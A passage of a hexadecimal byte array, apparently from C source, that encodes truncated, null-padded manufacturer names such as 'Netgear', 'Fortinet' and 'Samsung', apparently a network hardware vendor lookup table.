0x6d,\r\n0x54, 0x65, 0x78, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x75, 0x61, 0x6e, 0x63, 0x65, 0x44, 0x6f,\r\n0x41, 0x63, 0x6d, 0x65, 0x50, 0x61, 0x63, 0x6b,\r\n0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x61, 0x64, 0x6f,\r\n0x41, 0x64, 0x62, 0x42, 0x72, 0x6f, 0x61, 0x64,\r\n0x4b, 0x6f, 0x65, 0x69, 0x45, 0x6e, 0x67, 0x69,\r\n0x41, 0x76, 0x61, 0x6c, 0x4e, 0x61, 0x67, 0x61,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x77, 0x61, 0x6c,\r\n0x57, 0x6f, 0x6f, 0x6b, 0x73, 0x75, 0x6e, 0x67,\r\n0x48, 0x6f, 0x6d, 0x61, 0x67, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x64, 0x75, 0x73, 0x54, 0x65, 0x71,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x74, 0x6f, 0x6e,\r\n0x44, 0x69, 0x76, 0x65, 0x72, 0x67, 0x65, 0x6e,\r\n0x51, 0x75, 0x61, 0x6c, 0x73, 0x74, 0x61, 0x72,\r\n0x41, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x61, 0x49,\r\n0x43, 0x61, 0x6e, 0x61, 0x64, 0x69, 0x61, 0x6e,\r\n0x44, 0x61, 0x76, 0x6f, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x53, 0x63, 0x68, 0x6c, 0x65, 0x69, 0x63, 0x68,\r\n0x4e, 0x61, 0x73, 0x61, 0x2d, 0x47, 0x6f, 0x64,\r\n0x47, 0x61, 0x6d, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x50, 0x6f, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x4e,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x49, 0x6e, 0x74, 0x69, 0x67, 0x61, 0x74, 0x65,\r\n0x48, 0x61, 0x6e, 0x62, 0x69, 0x74, 0x45, 0x6c,\r\n0x41, 0x61, 0x73, 0x74, 0x72, 0x61, 0x00, 0x00,\r\n0x50, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x63, 0x61, 0x6e, 0x6f, 0x6c, 0x4e,\r\n0x4c, 0x6f, 0x64, 0x67, 0x65, 0x6e, 0x65, 0x74,\r\n0x53, 0x6f, 0x66, 0x74, 0x65, 0x6e, 0x65, 0x72,\r\n0x4e, 0x65, 0x63, 0x45, 0x6c, 0x75, 0x6d, 0x69,\r\n0x45, 0x6e, 0x74, 0x72, 0x69, 0x73, 0x70, 0x68,\r\n0x46, 0x61, 0x73, 0x79, 0x53, 0x50, 0x41, 0x00,\r\n0x4a, 0x61, 0x73, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x44, 0x73, 0x78, 0x41, 0x63, 0x63, 0x65, 0x73,\r\n0x55, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x44, 0x65,\r\n0x50, 0x75, 0x72, 0x6f, 0x70, 0x74, 0x69, 0x78,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x2d,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x6f,\r\n0x4d, 0x69, 0x70, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x73, 0x6d, 0x6f, 0x6e, 0x4c,\r\n0x4d, 0x69, 0x73, 0x73, 0x6f, 0x75, 0x72, 0x69,\r\n0x48, 0x79, 0x67, 0x6c, 0x6f, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x73, 0x76, 0x69, 0x61, 0x00, 0x00,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x64, 0x61, 0x74,\r\n0x53, 0x6f, 0x72, 0x65, 0x6e, 0x73, 0x6f, 0x6e,\r\n0x44, 0x61, 0x70, 0x74, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x63, 0x6f, 0x72, 0x70, 0x45, 0x6c, 0x65,\r\n0x53, 0x64, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x4c, 0x69, 0x65, 0x62, 0x65, 0x72, 0x74, 0x2d,\r\n0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72,\r\n0x43, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x70, 0x6f, 0x74, 0x65, 0x63, 0x00,\r\n0x52, 0x74, 0x78, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x42, 0x6f, 0x6e, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x70, 0x61, 0x75, 0x6e, 0x45, 0x6c, 0x65,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x74, 0x65, 0x6c,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x48,\r\n0x49, 0x6e, 0x64, 0x65, 0x78, 0x42, 0x72, 0x61,\r\n0x45, 0x6d, 0x73, 0x44, 0x72, 0x54, 0x68, 0x6f,\r\n0x48, 0x61, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x54,\r\n0x4d, 0x61, 0x73, 0x63, 0x68, 0x69, 0x6e, 0x65,\r\n0x4f, 0x75, 0x6c, 0x6c, 0x69, 0x6d, 0x49, 0x6e,\r\n0x44, 0x69, 0x73, 0x68, 0x54, 0x65, 0x63, 0x68,\r\n0x4d, 0x69, 0x6e, 0x64, 0x73, 0x40, 0x57, 0x6f,\r\n0x54, 0x72, 0x6f, 0x70, 0x69, 0x63, 0x4e, 0x65,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x4e, 0x65,\r\n0x53, 0x69, 0x67, 0x6d, 0x61, 0x2d, 0x4c, 0x69,\r\n0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x41, 0x76, 0x69, 0x6c, 0x69, 0x6e, 0x6b, 0x73,\r\n0x4c, 0x79, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69,\r\n0x4c, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x69, 0x73, 0x69,\r\n0x44, 0x69, 0x72, 0x63, 0x54, 0x65, 0x63, 0x68,\r\n0x50, 0x72, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e,\r\n0x51, 0x75, 0x61, 0x6b, 0x65, 0x54, 0x65, 0x63,\r\n0x47, 0x69, 0x67, 0x61, 0x62, 0x69, 0x74, 0x4f,\r\n0x4e, 0x65, 0x74, 0x62, 0x69, 0x6e, 0x64, 0x00,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x4d,\r\n0x49, 0x63, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x6c, 0x65, 0x63, 0x73, 0x49, 0x6e, 0x64,\r\n0x55, 0x68, 0x64, 0x2d, 0x45, 0x6c, 0x65, 0x6b,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x45,\r\n0x45, 0x66, 0x6d, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x53, 0x74, 0x6f, 0x74, 0x7a, 0x46, 0x65, 0x69,\r\n0x43, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x64, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x50, 0x65, 0x6e, 0x69, 0x6e, 0x73, 0x75, 0x6c,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x77, 0x61, 0x72,\r\n0x49, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x67, 0x73, 0x61, 0x6e, 0x67,\r\n0x4b, 0x61, 0x72, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x78,\r\n0x45, 0x6c, 0x74, 0x72, 0x6f, 0x6d, 0x61, 0x74,\r\n0x54, 0x6f, 0x79, 0x6f, 0x2d, 0x4c, 0x69, 0x6e,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x66, 0x72,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x00,\r\n0x42, 0x6b, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x50, 0x72, 0x6f, 0x71, 0x75, 0x65, 0x6e, 0x74,\r\n0x46, 0x61, 0x73, 0x74, 0x77, 0x65, 0x6c, 0x00,\r\n0x53, 0x79, 0x73, 0x70, 0x6f, 0x6c, 0x00, 0x00,\r\n0x54, 0x61, 0x69, 0x47, 0x75, 0x65, 0x6e, 0x45,\r\n0x52, 0x6f, 0x75, 0x74, 0x65, 0x66, 0x72, 0x65,\r\n0x48, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x46, 0x4a, 0x6f, 0x68, 0x6e, 0x73, 0x6f,\r\n0x4b, 0x61, 0x6f, 0x6e, 0x6d, 0x65, 0x64, 0x69,\r\n0x45, 0x72, 0x73, 0x6b, 0x69, 0x6e, 0x65, 0x00,\r\n0x4e, 0x65, 0x74, 0x65, 0x78, 0x63, 0x65, 0x6c,\r\n0x49, 0x6c, 0x65, 0x76, 0x6f, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x70, 0x67, 0x2d, 0x55, 0x73, 0x00,\r\n0x58, 0x65, 0x6e, 0x70, 0x61, 0x6b, 0x4d, 0x73,\r\n0x41, 0x70, 0x74, 0x75, 0x73, 0x45, 0x6c, 0x65,\r\n0x41, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x76, 0x69, 0x73, 0x74, 0x61, 0x72, 0x43,\r\n0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x00, 0x00,\r\n0x48, 0x69, 0x6b, 0x61, 0x72, 0x69, 0x00, 0x00,\r\n0x4c, 0x69, 0x6f, 0x6e, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x6f, 0x6e, 0x65, 0x74, 0x69, 0x63, 0x6f,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x73, 0x61,\r\n0x54, 0x77, 0x69, 0x6e, 0x68, 0x61, 0x6e, 0x54,\r\n0x5a, 0x65, 0x74, 0x61, 0x42, 0x72, 0x6f, 0x61,\r\n0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x63, 0x00,\r\n0x57, 0x69, 0x74, 0x68, 0x2d, 0x4e, 0x65, 0x74,\r\n0x49, 0x70, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x4b, 0x6f,\r\n0x4d, 0x75, 0x73, 0x61, 0x73, 0x68, 0x69, 0x45,\r\n0x4b, 0x61, 0x72, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x5a, 0x6f, 0x6f, 0x6d, 0x4e, 0x65, 0x74, 0x77,\r\n0x48, 0x65, 0x72, 0x63, 0x75, 0x6c, 0x65, 0x73,\r\n0x49, 0x6e, 0x65, 0x6f, 0x71, 0x75, 0x65, 0x73,\r\n0x56, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x72, 0x64,\r\n0x48, 0x61, 0x73, 0x73, 0x6e, 0x65, 0x74, 0x00,\r\n0x48, 0x6f, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x6f, 0x77, 0x6b, 0x65, 0x79, 0x4d, 0x69,\r\n0x4d, 0x69, 0x74, 0x61, 0x64, 0x65, 0x6e, 0x73,\r\n0x53, 0x6f, 0x66, 0x61, 0x77, 0x61, 0x72, 0x65,\r\n0x43, 0x6f, 0x72, 0x72, 0x69, 0x67, 0x65, 0x6e,\r\n0x57, 0x69, 0x7a, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x6e, 0x61, 0x43, 0x6f,\r\n0x33, 0x75, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x69, 0x73, 0x74, 0x65, 0x6c, 0x00,\r\n0x41, 0x74, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x42, 0x61, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x76, 0x65, 0x6e, 0x65, 0x72, 0x67,\r\n0x49, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x74, 0x74, 0x6c, 0x65, 0x66, 0x65,\r\n0x53, 0x68, 0x69, 0x43, 0x6f, 0x6e, 0x74, 0x72,\r\n0x45, 0x78, 0x63, 0x65, 0x6c, 0x4d, 0x61, 0x73,\r\n0x4e, 0x65, 0x78, 0x74, 0x67, 0x69, 0x67, 0x00,\r\n0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x52, 0x6f, 0x6d, 0x77, 0x69, 0x6e, 0x00, 0x00,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x5a,\r\n0x53, 0x74, 0x26, 0x54, 0x49, 0x6e, 0x73, 0x74,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x50, 0x72, 0x6f,\r\n0x44, 0x69, 0x62, 0x61, 0x6c, 0x53, 0x41, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x47, 0x65, 0x6e, 0x65,\r\n0x56, 0x6f, 0x6c, 0x74, 0x61, 0x69, 0x72, 0x65,\r\n0x43, 0x26, 0x53, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x57, 0x61, 0x6e, 0x79, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x74, 0x61, 0x6b, 0x65,\r\n0x59, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x6e,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x53,\r\n0x55, 0x74, 0x63, 0x43, 0x63, 0x73, 0x00, 0x00,\r\n0x4b, 0x65, 0x62, 0x41, 0x75, 0x74, 0x6f, 0x6d,\r\n0x53, 0x6f, 0x6e, 0x6f, 0x73, 0x69, 0x74, 0x65,\r\n0x47, 0x69, 0x67, 0x61, 0x70, 0x68, 0x6f, 0x74,\r\n0x42, 0x6c, 0x75, 0x65, 0x6b, 0x6f, 0x72, 0x65,\r\n0x55, 0x6e, 0x69, 0x6b, 0x43, 0x26, 0x43, 0x00,\r\n0x54, 0x72, 0x69, 0x6c, 0x6f, 0x67, 0x79, 0x43,\r\n0x54, 0x6d, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x43,\r\n0x50, 0x61, 0x6e, 0x61, 0x73, 0x61, 0x73, 0x00,\r\n0x4d, 0x6f, 0x6e, 0x64, 0x69, 0x61, 0x6c, 0x45,\r\n0x49, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x73, 0x74, 0x65, 0x65, 0x6d, 0x4e, 0x65,\r\n0x43, 0x68, 0x72, 0x79, 0x73, 0x61, 0x6c, 0x69,\r\n0x56, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63,\r\n0x54, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x72, 0x43,\r\n0x53, 0x6e, 0x65, 0x64, 0x66, 0x61, 0x72, 0x54,\r\n0x4d, 0x74, 0x6c, 0x49, 0x6e, 0x73, 0x74, 0x72,\r\n0x4d, 0x61, 0x79, 0x65, 0x6b, 0x61, 0x77, 0x61,\r\n0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x45, 0x6c,\r\n0x48, 0x65, 0x6c, 0x69, 0x78, 0x54, 0x65, 0x63,\r\n0x46, 0x6f, 0x72, 0x74, 0x69, 0x6e, 0x65, 0x74,\r\n0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x41, 0x63,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x6b, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x72, 0x6f,\r\n0x43, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x73, 0x74, 0x6d, 0x61, 0x6e, 0x48,\r\n0x57, 0x65, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x54,\r\n0x4d, 0x64, 0x73, 0x47, 0x61, 0x74, 0x65, 0x77,\r\n0x4d, 0x61, 0x63, 0x61, 0x74, 0x4f, 0x70, 0x74,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x47,\r\n0x43, 0x61, 0x63, 0x68, 0x65, 0x76, 0x69, 0x73,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x61, 0x6d, 0x43,\r\n0x46, 0x69, 0x72, 0x73, 0x74, 0x65, 0x63, 0x68,\r\n0x41, 0x26, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x6e, 0x6d, 0x65, 0x63, 0x61,\r\n0x54, 0x73, 0x74, 0x42, 0x69, 0x6f, 0x6d, 0x65,\r\n0x48, 0x65, 0x61, 0x6d, 0x61, 0x6e, 0x53, 0x79,\r\n0x54, 0x65, 0x6c, 0x65, 0x62, 0x61, 0x75, 0x00,\r\n0x56, 0x73, 0x6e, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x59, 0x6f, 0x64, 0x61, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x72, 0x65,\r\n0x53, 0x61, 0x6e, 0x79, 0x6f, 0x49, 0x6e, 0x64,\r\n0x4d, 0x79, 0x74, 0x65, 0x63, 0x73, 0x00, 0x00,\r\n0x49, 0x71, 0x73, 0x74, 0x6f, 0x72, 0x4e, 0x65,\r\n0x48, 0x69, 0x74, 0x70, 0x6f, 0x69, 0x6e, 0x74,\r\n0x48, 0x74, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x26, 0x54, 0x65, 0x63, 0x68, 0x53, 0x79,\r\n0x41, 0x6b, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x65, 0x72, 0x6f, 0x63, 0x6f, 0x6e, 0x63,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x49, 0x6e,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x6c, 0x75, 0x78, 0x00,\r\n0x4f, 0x70, 0x68, 0x69, 0x74, 0x00, 0x00, 0x00,\r\n0x44, 0x72, 0x65, 0x61, 0x6d, 0x2d, 0x4d, 0x75,\r\n0x53, 0x61, 0x6e, 0x64, 0x76, 0x69, 0x6e, 0x65,\r\n0x49, 0x70, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x65, 0x63,\r\n0x41, 0x6c, 0x6c, 0x6f, 0x74, 0x43, 0x6f, 0x6d,\r\n0x53, 0x68, 0x69, 0x62, 0x61, 0x73, 0x6f, 0x6b,\r\n0x4d, 0x6f, 0x6c, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x4e,\r\n0x4a, 0x61, 0x63, 0x71, 0x75, 0x65, 0x73, 0x54,\r\n0x4e, 0x65, 0x77, 0x69, 0x73, 0x79, 0x73, 0x00,\r\n0x43, 0x26, 0x49, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x2d, 0x57,\r\n0x41, 0x67, 0x66, 0x65, 0x6f, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x6c, 0x6d, 0x6d, 0x69, 0x63, 0x72,\r\n0x43, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4c,\r\n0x41, 0x7a, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x73, 0x74, 0x61, 0x43, 0x6f, 0x6e,\r\n0x47, 0x6c, 0x79, 0x70, 0x68, 0x54, 0x65, 0x63,\r\n0x48, 0x6f, 0x6d, 0x65, 0x6e, 0x65, 0x74, 0x43,\r\n0x46, 0x69, 0x6c, 0x6c, 0x66, 0x61, 0x63, 0x74,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, 0x69, 0x63,\r\n0x42, 0x72, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65,\r\n0x42, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x45, 0x6c, 0x6d, 0x65, 0x67, 0x74, 0x00, 0x00,\r\n0x49, 0x6e, 0x64, 0x65, 0x70, 0x65, 0x6e, 0x64,\r\n0x41, 0x70, 0x6f, 0x67, 0x65, 0x65, 0x49, 0x6d,\r\n0x41, 0x75, 0x65, 0x72, 0x73, 0x77, 0x61, 0x6c,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x61, 0x67, 0x65, 0x53,\r\n0x41, 0x6d, 0x69, 0x74, 0x53, 0x70, 0x6f, 0x6c,\r\n0x59, 0x6f, 0x75, 0x6e, 0x67, 0x47, 0x65, 0x6e,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x63, 0x61, 0x6c,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6e, 0x65, 0x74,\r\n0x53, 0x69, 0x74, 0x65, 0x63, 0x73, 0x6f, 0x66,\r\n0x52, 0x61, 0x63, 0x65, 0x77, 0x6f, 0x6f, 0x64,\r\n0x4e, 0x65, 0x74, 0x67, 0x65, 0x61, 0x72, 0x00,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x4d,\r\n0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x75, 0x65,\r\n0x4d, 0x61, 0x73, 0x73, 0x74, 0x65, 0x63, 0x68,\r\n0x54, 0x65, 0x6c, 0x65, 0x62, 0x79, 0x74, 0x65,\r\n0x59, 0x6f, 0x7a, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x67, 0x65,\r\n0x53, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x54,\r\n0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x69, 0x6f, 0x6e,\r\n0x48, 0x69, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x48, 0x79, 0x75, 0x6e, 0x6a, 0x75, 0x43, 0x6f,\r\n0x54, 0x72, 0x69, 0x6d, 0x62, 0x6c, 0x65, 0x45,\r\n0x54, 0x61, 0x63, 0x68, 0x79, 0x6f, 0x6e, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x76, 0x65,\r\n0x4d, 0x65, 0x72, 0x65, 0x74, 0x4f, 0x70, 0x74,\r\n0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x6c, 0x65,\r\n0x49, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x65,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x6e, 0x65, 0x74,\r\n0x47, 0x69, 0x61, 0x6e, 0x74, 0x45, 0x6c, 0x65,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x5a,\r\n0x56, 0x69, 0x62, 0x72, 0x61, 0x74, 0x69, 0x6f,\r\n0x54, 0x69, 0x6d, 0x65, 0x4d, 0x61, 0x6e, 0x61,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x61,\r\n0x4c, 0x65, 0x6e, 0x74, 0x65, 0x6e, 0x54, 0x65,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x70, 0x69, 0x61, 0x54,\r\n0x46, 0x73, 0x6f, 0x6e, 0x61, 0x43, 0x6f, 0x6d,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x6f, 0x66, 0x74,\r\n0x42, 0x72, 0x75, 0x6e, 0x6e, 0x65, 0x72, 0x45,\r\n0x41, 0x69, 0x6a, 0x69, 0x53, 0x79, 0x73, 0x74,\r\n0x4c, 0x6f, 0x75, 0x69, 0x73, 0x44, 0x65, 0x73,\r\n0x53, 0x65, 0x63, 0x77, 0x65, 0x6c, 0x6c, 0x4e,\r\n0x49, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x56, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x32,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x5a, 0x65, 0x6e,\r\n0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x4e,\r\n0x4c, 0x6f, 0x65, 0x77, 0x65, 0x4f, 0x70, 0x74,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x74, 0x6f,\r\n0x4d, 0x79, 0x63, 0x61, 0x73, 0x61, 0x4e, 0x65,\r\n0x41, 0x75, 0x74, 0x6f, 0x54, 0x65, 0x6c, 0x65,\r\n0x4d, 0x65, 0x74, 0x61, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x4e, 0x69, 0x73, 0x68, 0x69, 0x4e, 0x69, 0x70,\r\n0x4e, 0x75, 0x64, 0x69, 0x61, 0x6e, 0x45, 0x6c,\r\n0x56, 0x69, 0x76, 0x69, 0x64, 0x6c, 0x6f, 0x67,\r\n0x45, 0x71, 0x75, 0x61, 0x6c, 0x6c, 0x6f, 0x67,\r\n0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x69, 0x63,\r\n0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x57, 0x69,\r\n0x56, 0x65, 0x6c, 0x6f, 0x63, 0x69, 0x74, 0x79,\r\n0x49, 0x70, 0x63, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x65, 0x74, 0x61, 0x63, 0x65, 0x61, 0x6e,\r\n0x41, 0x63, 0x6b, 0x73, 0x79, 0x73, 0x43, 0x6f,\r\n0x47, 0x65, 0x46, 0x61, 0x6e, 0x75, 0x63, 0x41,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x70, 0x6f,\r\n0x56, 0x69, 0x73, 0x74, 0x65, 0x6f, 0x6e, 0x00,\r\n0x43, 0x72, 0x6f, 0x6e, 0x79, 0x78, 0x45, 0x6e,\r\n0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x54, 0x65,\r\n0x52, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x70, 0x69, 0x6e, 0x66, 0x6f, 0x00,\r\n0x43, 0x70, 0x47, 0x65, 0x6f, 0x72, 0x67, 0x65,\r\n0x45, 0x6c, 0x6d, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x54,\r\n0x4e, 0x61, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x73,\r\n0x48, 0x61, 0x6c, 0x69, 0x70, 0x6c, 0x65, 0x78,\r\n0x54, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x56, 0x69, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x63,\r\n0x54, 0x65, 0x6c, 0x65, 0x77, 0x69, 0x73, 0x65,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63,\r\n0x4c, 0x65, 0x61, 0x64, 0x66, 0x6c, 0x79, 0x54,\r\n0x48, 0x61, 0x72, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x45,\r\n0x49, 0x67, 0x6e, 0x69, 0x73, 0x4f, 0x70, 0x74,\r\n0x42, 0x61, 0x6e, 0x67, 0x4f, 0x6c, 0x75, 0x66,\r\n0x45, 0x61, 0x73, 0x74, 0x6d, 0x6f, 0x64, 0x65,\r\n0x49, 0x6b, 0x61, 0x6e, 0x6f, 0x73, 0x43, 0x6f,\r\n0x44, 0x61, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x74, 0x72,\r\n0x4c, 0x61, 0x6e, 0x76, 0x6f, 0x69, 0x63, 0x65,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x53,\r\n0x4f, 0x6b, 0x61, 0x6e, 0x6f, 0x45, 0x6c, 0x65,\r\n0x45, 0x2d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x69,\r\n0x4f, 0x6e, 0x6b, 0x79, 0x6f, 0x00, 0x00, 0x00,\r\n0x4b, 0x61, 0x6e, 0x65, 0x6d, 0x61, 0x74, 0x73,\r\n0x4c, 